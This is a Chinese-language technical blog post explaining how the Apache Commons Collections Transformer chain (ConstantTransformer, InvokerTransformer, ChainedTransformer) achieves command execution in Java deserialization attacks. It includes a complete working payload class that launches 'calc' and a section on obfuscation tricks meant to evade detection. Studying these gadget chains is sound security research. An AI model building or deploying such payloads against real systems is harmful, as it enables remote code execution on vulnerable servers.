当前位置：首页 > news >正文

java反序列化: Transformer链技术剖析

news 2025/6/6 10:41:20

Transformer链是CC反序列化漏洞的"执行引擎"，本文聚焦Transformer链的核心原理和实现机制，为后续完整利用链分析奠定基础。

一、Java命令执行与序列化限制

1.1 常规命令执行方式

Java中执行系统命令的标准方法是通过Runtime类：

Runtime.getRuntime().exec("calc.exe");

1.2 序列化的致命限制

Runtime类未实现Serializable接口：

public class Runtime {// 未实现Serializable接口private static Runtime currentRuntime = new Runtime();// ...
}

关键问题：反序列化时无法直接构造Runtime实例执行命令。

二、反射突破序列化限制

通过反射机制可间接调用Runtime：

Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntime = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntime.invoke(null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc.exe");

在这里插入图片描述

优势：涉及的所有类（Class、Method）都实现了Serializable接口。

三、Transformer链核心组件

3.1 InvokerTransformer：反射执行引擎

public class InvokerTransformer implements Transformer, Serializable {private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;public Object transform(Object input) {if (input == null) return null;try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (Exception e) {throw new FunctorException(...);}}
}

3.2 ConstantTransformer：常量提供器

public class ConstantTransformer implements Transformer, Serializable {private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public Object transform(Object input) {return this.iConstant;// 无视输入，始终返回固定值}}

核心价值：为调用链提供初始对象（如Runtime.class）。

3.3 ChainedTransformer：链式执行器

public class ChainedTransformer implements Transformer, Serializable {private final Transformer[] iTransformers;public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}
}

链式调用原理：

输出1 = 组件1.transform(输入)
输出2 = 组件2.transform(输出1)
...
最终结果 = 组件N.transform(输出N-1)

四、完整Transformer链构造

4.1 分步拆解命令执行

// 1. 获取Runtime.class对象
Object step1 = Runtime.class;// 2. 获取getRuntime方法
Method step2 = step1.getClass().getMethod("getRuntime");// 3. 调用getRuntime()获取Runtime实例
Runtime step3 = (Runtime) step2.invoke(null);// 4. 执行exec方法
step3.exec("calc.exe");

4.2 转换为Transformer实现

Transformer[] chain = new Transformer[]{// 步骤1：获取Runtime.classnew ConstantTransformer(Runtime.class),// 步骤2：反射调用getMethod("getRuntime")new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),// 步骤3：反射调用invoke(null)new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),// 步骤4：调用exec("calc.exe")new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};

4.3 链式执行

public class TransformerDemo {public static void main(String[] args) {ChainedTransformer chain = new ChainedTransformer(transformers);chain.transform(null); // 触发命令执行}
}

4.4 调用链

  Gadget chain:ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

五、关键技术点解析

5.1 反射执行优势

绕过Runtime的序列化限制
方法调用通过字符串传递，可动态构造
参数类型完全可控

5.2 类型转换处理

// 自动处理类型转换
Object runtime = method.invoke(...); // 返回Object类型
// 下一级Transformer自动接收Object类型输入

5.3 空输入处理

chain.transform(null); 
// ConstantTransformer无视输入，返回Runtime.class
// 后续组件基于前一步输出执行

六、防御规避技巧

6.1 方法名混淆

// 使用Base64编码方法名
String method = new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="));
new InvokerTransformer(method, ...);

6.2 命令混淆

// 拆分命令+拼接执行
new InvokerTransformer("exec", new Class[]{String[].class},new Object[]{new String[]{"cmd", "/c", "calc.exe"}}
);

6.3 多态加载

// 通过ClassLoader动态加载
Class cls = Class.forName("java.lang." + "Runtime", true, Thread.currentThread().getContextClassLoader()
);

七、完整Payload示例

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import java.lang.reflect.Method;public class FullTransformerChain {public static void main(String[] args) throws Exception {// 构造Transformer链Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};// 链式执行ChainedTransformer chain = new ChainedTransformer(transformers);chain.transform(null);}
}

在这里插入图片描述
执行效果：成功弹出计算器程序

八、总结

8.1 核心技术总结

组件	作用	关键特性
`InvokerTransformer`	反射执行任意方法	方法名/参数类型动态指定
`ConstantTransformer`	提供初始对象	无视输入，返回固定值
`ChainedTransformer`	链式调用Transformer	前序输出作为后续输入